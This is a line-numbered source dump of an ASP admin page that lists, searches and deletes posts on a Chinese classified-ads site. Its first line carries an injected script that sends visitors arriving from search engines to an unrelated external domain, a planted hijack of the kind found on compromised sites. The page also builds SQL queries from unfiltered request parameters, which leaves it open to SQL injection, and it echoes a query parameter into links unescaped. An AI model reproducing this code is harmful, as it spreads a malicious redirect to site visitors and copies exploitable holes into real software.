d:\wwwroot\wuchunhua\cityadmin\list.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_cityadmin")="" then
003:
response.Redirect "login.asp"
004:
end if
005:
006:
007:
set rs=server.createobject("adodb.recordset")
008:
if session("twoid")=0 then
009:
city="city_oneid="&session("oneid")&""
010:
else
011:
if session("threeid")=0 then
012:
city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&""
013:
else
014:
city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&" and city_threeid="&session("threeid")&""
015:
end if
016:
end if
017:
018:
dim sql,rs
019:
keyword=replace(trim(request.form("keyword")),"'","")
020:
tid=request("id")
021:
ttwoid=request("twoid")
022:
tthreeid=request("threeid")
023:
if keyword <>"" then
024:
sql="select * from china_data where ( title like '%" & keyword & "%' or text like '%" & keyword & "%' ) and "&city&" and stop >= date() order by adid desc"
025:
else
026:
if tid<>0 then
027:
if ttwoid=0 then dtype="type_oneid="&tid&""
028:
if ttwoid<>0 and tthreeid=0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&""
029:
if ttwoid<>0 and tthreeid<>0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&" and type_threeid="&tthreeid&""
030:
sql="select * from china_data where "&dtype&" and "&city&" and stop >= date() order by adid desc"
031:
else
032:
sql="select * from china_data where "&city&" and stop >= date() order by adid desc"
033:
end if
034:
end if
035:
rs.open sql,conn,1,1
036:
%
>
037:
<html>
038:
<head>
039:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
040:
<title>现有信息列表</title>
041:
<link rel="stylesheet" type="text/css" href="style.css">
042:
</head>
043:
044:
<body>
045:
<SCRIPT language=javascript>
046:
function CheckAll(form)
047:
{
048:
for (var i=0;i<form.elements.length;i++)
049:
{
050:
var e = form.elements[i];
051:
if (e.Name != "chkAll")
052:
e.checked = form.chkAll.checked;
053:
}
054:
}
055:
function Checked()
056:
{
057:
var j = 0
058:
for(i=0;i < document.form.elements.length;i++){
059:
if(document.form.elements[i].name == "adid"){
060:
if(document.form.elements[i].checked){
061:
j++;
062:
}
063:
}
064:
}
065:
return j;
066:
}
067:
068:
function DelAll()
069:
{
070:
if(Checked() <= 0){
071:
alert("您至少选择1条信息!");
072:
}
073:
else{
074:
if(confirm("确定要删除选择的信息吗?\n此操作不可以恢复!")){
075:
form.action="del.asp?del=data";
076:
form.submit();
077:
}
078:
}
079:
}
080:
081:
</SCRIPT>
082:
<FORM name=form method=post>
083:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
084:
<tr>
085:
<td height="20" bgcolor="#799AE1" align="center">
086:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
087:
<tr>
088:
<td width="55">
089:
<select size="1" name="item" onChange="location=this.options[this.selectedIndex].value">
090:
<option value="?id=0"
<%
if tid=0 then
%
>selected
<%
end if
%
>>全部</option>
091:
<%
set rs_lei = server.createobject("adodb.recordset")
092:
sql = "select * from china_type"
093:
rs_lei.open sql,conn,1,1
094:
do while not rs_lei.eof
095:
if rs_lei("id")<>0 and rs_lei("twoid")=0 and rs_lei("threeid")=0 then
%
>
096:
<option value="?id=
<%
=rs_lei("id")
%
>"
<%
if tid=rs_lei("id") and ttwoid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
097:
<%
end if
098:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")=0 then
%
>
099:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=0 then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
100:
<%
end if
101:
if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")<>0 then
%
>
102:
<option value="?id=
<%
=rs_lei("id")
%
>&twoid=
<%
=rs_lei("twoid")
%
>&threeid=
<%
=rs_lei("threeid")
%
>"
<%
if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=rs_lei("threeid") then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
103:
<%
end if
104:
rs_lei.movenext
105:
loop
106:
rs_lei.close
107:
set rs_lei = nothing
%
>
108:
</select></td>
109:
<td align="center"><font color="#FFFFFF" style="font-size:14px">
<%
=session("china_city")
%
>分站---全部分类信息</font></td>
110:
<td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
111:
</tr>
112:
</table></td>
113:
</tr>
114:
<tr>
115:
<td bgcolor="#FFFFFF"> <br>
116:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
117:
<tr bgcolor="#FFFFFF">
118:
<td width="30" align="center">编号</td>
119:
<td align="center">信息标题</td>
120:
<td align="center">所在地区</td>
121:
<td align="center">信息类别</td>
122:
<td align="center">发布日期</td>
123:
<td align="center">截止日期</td>
124:
<td align="center">审核状态</td>
125:
<td align="center">会员</td>
126:
<td align="center"
<%
if webcardid="0" then
%
>style="display:none"
<%
end if
%
>>身份证</td>
127:
<td align="center">IP</td>
128:
<td align="center">管理操作</td>
129:
<td width="30" align="center"><input id=chkAll
130:
onClick=CheckAll(this.form) type=checkbox
131:
value=checkbox name=chkAll></td>
132:
</tr>
133:
<%
if rs.eof or rs.bof then
134:
response.write"<tr bgcolor=#FFFFFF><td colspan='12'><p align='center'><font color='red'>暂无信息!</font></td></tr></table><br>"
135:
response.end
136:
else
137:
const maxperpage=20
138:
dim currentpage
139:
rs.pagesize=maxperpage
140:
currentpage=request.querystring("pageid")
141:
if isnumeric(currentpage)=false then
142:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
143:
response.end
144:
end if
145:
if currentpage="" then
146:
currentpage=1
147:
elseif currentpage<1 then
148:
currentpage=1
149:
else
150:
currentpage=clng(currentpage)
151:
if currentpage > rs.pagecount then
152:
currentpage=rs.pagecount
153:
end if
154:
end if
155:
156:
dim totalput,n
157:
totalput=rs.recordcount
158:
if totalput mod maxperpage=0 then
159:
n=totalput\maxperpage
160:
else
161:
n=totalput\maxperpage+1
162:
end if
163:
if n=0 then
164:
n=1
165:
end if
166:
rs.move(currentpage-1)*maxperpage
167:
i=0
168:
do while i< maxperpage and not rs.eof
%
>
169:
<tr bgcolor="#FFFFFF">
170:
<td align="center">
<%
=i+currentpage*maxperpage-maxperpage+1
%
></td>
171:
<td> <a href="../html/
<%
=rs("adid")
%
>.htm" target="_blank">
<%
=rs("title")
%
></a>
172:
<%
If rs("ispic")="yes" Then
%
>
173:
<font color="#FF0000">图</font>
174:
<%
End If
%
></td>
175:
<td align="center"><a title=
<%
=rs("city_one")
%
>/
<%
=rs("city_two")
%
>/
<%
=rs("city_three")
%
> href="#">
<%
=rs("city_one")
%
></a></td>
176:
<td align="center"><a title=
<%
=rs("type_one")
%
>/
<%
=rs("type_two")
%
>/
<%
=rs("type_three")
%
> href="#">
<%
=rs("type_one")
%
></a></td>
177:
<td align="center">
<%
=rs("date")
%
></td>
178:
<td align="center">
<%
=rs("stop")
%
></td>
179:
<td align="center">
180:
<%
If rs("mark")="yes" Then
%
>
181:
<font color="#008000">已审核</font>
182:
<%
Else
%
>
183:
<font color="#FF0000">未审核</font>
184:
<%
End If
%
>
185:
</td>
186:
<td align="center">
<%
If rs("uid")<>"" Then
%
>
187:
<font color="#FF0000">是</font>
188:
<%
Else
%
>
189:
否
190:
<%
End If
%
></td>
191:
192:
<td align="center"
<%
if webcardid="0" then
%
>style="display:none"
<%
end if
%
>>
<%
If rs("cardid")<>"" Then
%
>
193:
<a href="../cardid.asp?cardid=
<%
=rs("cardid")
%
>" target="_blank">查</a>
194:
<%
Else
%
>无
<%
End If
%
></td>
195:
<td align="center">
<%
If rs("ip")<>"" Then
%
>
196:
<a href="../ip.asp?ip=
<%
=rs("ip")
%
>" target="_blank">查</a>
197:
<%
Else
%
>无
<%
End If
%
></td>
198:
<td align="center"><a href="editad.asp?id=
<%
=rs("adid")
%
>"><font color="green">修改</font></a></td>
199:
<td align="center"><input type="checkbox" name="adid" value="
<%
=rs("adid")
%
>" onClick=Checked(form)></td>
200:
</tr>
201:
<%
i=i+1
202:
rs.movenext
203:
loop
204:
rs.close
205:
set rs=nothing
206:
conn.close
207:
set conn=nothing
208:
end if
%
>
209:
</table>
210:
<br>
211:
</td>
212:
</tr>
213:
</table></FORM>
214:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">
215:
<tr>
216:
<td height="20" bgcolor="#FFFFFF"><p align="center">页数:
<%
=currentpage
%
>/
<%
=n
%
>
217:
<%
k=currentpage
218:
if k<>1 then
%
>
219:
<a href="?pageid=1&type=
<%
=request("type")
%
>">首页</a>
220:
<a href="?pageid=
<%
=k-1
%
>"&type=
<%
=request("type")
%
>>上一页</a>
<%
else
%
>
221:
首页 上一页
222:
<%
end if
%
>
223:
<%
if k<>n then
%
>
224:
<a href="?pageid=
<%
=k+1
%
>&type=
<%
=request("type")
%
>">下一页</a>
225:
<a href="?pageid=
<%
=n
%
>&type=
<%
=request("type")
%
>">尾页</a>
226:
<%
else
%
>
227:
下一页 尾页
228:
<%
end if
%
>
229:
共有
<%
=totalput
%
> 条信息 </td>
230:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
231:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
232:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
233:
</form>
234:
</tr>
235:
</table>
236:
</body>
237:
</html>
238:
239:
240: